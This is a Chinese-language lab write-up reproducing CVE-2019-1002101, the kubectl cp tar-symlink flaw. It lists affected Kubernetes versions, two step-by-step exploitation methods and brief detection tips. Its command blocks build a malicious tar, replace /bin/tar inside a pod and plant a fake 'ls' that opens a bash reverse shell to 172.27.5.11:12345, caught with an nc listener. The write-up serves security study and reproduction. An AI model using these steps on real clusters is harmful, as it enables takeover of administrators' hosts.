漏洞简介
Twistlock的流程图很好的解释了kubectl cp漏洞的利用链及其原理。
启动一个被破坏或者恶意的容器
攻击者准备一个恶意的tar包(包含恶意软链接,例如:./baddir/twist->/proc/self/cwd)
此时容器中的二进制tar包被替换成恶意tar包
用户运行kubectl cp将文件从容器传输到宿主机
kubectl提取恶意tar包中的文件(此时会解析其中的恶意软链接,即写入到宿主机的 /proc/self/cwd 路径)
攻击者可以控制恶意软链接,将文件写到宿主机任意位置
影响范围
Redhat Openshift_Container_Platform 3.10
Kubernetes 1.14.0
Redhat Openshift_Container_Platform 3.11
1.12.0 <= Kubernetes < 1.12.7
Redhat Openshift_Container_Platform 3.9
1.13.0 <= Kubernetes < 1.13.5
1.11.0 <= Kubernetes < 1.11.9
漏洞复现
实验环境
Kubernetes 1.11.1
实验过程
环境配置
- 使用Metarget创建单节点k8s集群
1 | ./metarget cnv install cve-2019-1002101 --domestic |
可以看到单节点集群环境安装成功(需要使用--domestic
安装单节点k8s集群)
- 创建一个Pod并运行Nginx容器,查看运行状态
1 | kubectl run nginx --image=nginx |
brompwnie的做法
- 首先从github中获取我们需要的三个文件
- 使用kubectl cp将文件传输到容器中(这样传文件比较方便)
注意:createPwnTar.sh中需要修改反弹shell命令中的x.x.x.x/端口
为攻击机的ip和端口
1 | kubectl cp /home/safedog/setupTar.sh nginx-64f497f8fd-wdsg2:. |
- 赋予三个文件执行权限
1 | chmod +x badbin setupTar.sh createPwnTar.sh |
- 依次执行createPwnTar.sh和setupTar.sh
1 | ./createPwnTar.sh |
- 攻击机远程监听,宿主机执行kubectl cp将恶意符号链接植入宿主机,之后只要在植入的路径打开终端便能够反弹shell
宿主机执行kubectl cp
命令
宿主机在路径下打开终端,攻击机获取反弹shell
h4ckm310n的做法
- 使用kubectl进入容器命令行,进行恶意tar包构造
1 | kubectl exec -it nginx-64f497f8fd-wdsg2 -- /bin/bash |
在当前目录下创建了一个名为 badbin
的符号链接,指向系统的 /bin
目录。
1 | ln -s /bin ./badbin |
这个步骤将 /bin
目录的符号链接badbin
一起打包到了 malicious.tar
中。
1 | tar -cf malicious.tar ./badbin |
这个命令尝试删除当前目录下的 ./badbin
目录。但由于 ./badbin
是一个符号链接,删除操作不会影响到 /bin
目录,因为它只会删除链接而不会删除链接指向的目录。
1 | rm -f ./badbin |
这个命令在当前目录下创建了一个名为 ./badbin
的新目录。
1 | mkdir ./badbin |
这个命令使用 echo
将一段脚本写入 ./badbin/ls
文件。这段脚本实际上是一个简单的反向 shell,它试图连接到 IP 地址 172.27.5.11
的 TCP 端口 12345
,并将命令执行的结果发送到该连接。这是一个潜在的恶意操作,可以用于入侵和远程控制目标系统。
1 | echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/172.27.5.11/12345 0>&1' > ./badbin/ls |
这个命令将 ./badbin/ls
文件的执行权限设置为可执行。
1 | chmod +x ./badbin/ls |
这个命令将新创建的 ./badbin/ls
文件添加到之前创建的 malicious.tar
归档文件中。
1 | tar -rf malicious.tar ./badbin/ls |
创建恶意test文件,内容如下。
1 |
|
将其替换到/bin/tar中。
1 | rm -rf /bin/tar |
- 攻击机远程监听,宿主机执行kubectl cp将恶意符号链接植入宿主机,并执行ls命令触发反弹shell
kali攻击机进行监听
1 | nc -lvvp 12345 |
宿主机执行
1 | kubectl cp nginx-64f497f8fd-wdsg2:test /home/safedog |
宿主机执行kubectl cp
成功后可以发现bin目录被携带下来
宿主机执行成功后执行ls命令,可以在攻击机上获取反弹的shell
总结思考检测方式
- 版本检测
根据漏洞影响的版本信息进行检测
- 敏感目录/bin/tar
监控异常指令修改/bin/tar目录导致漏洞利用
参考链接
POC:
https://github.com/brompwnie/CVE-2019-1002101-Helpers
漏洞通告:
Author: Sally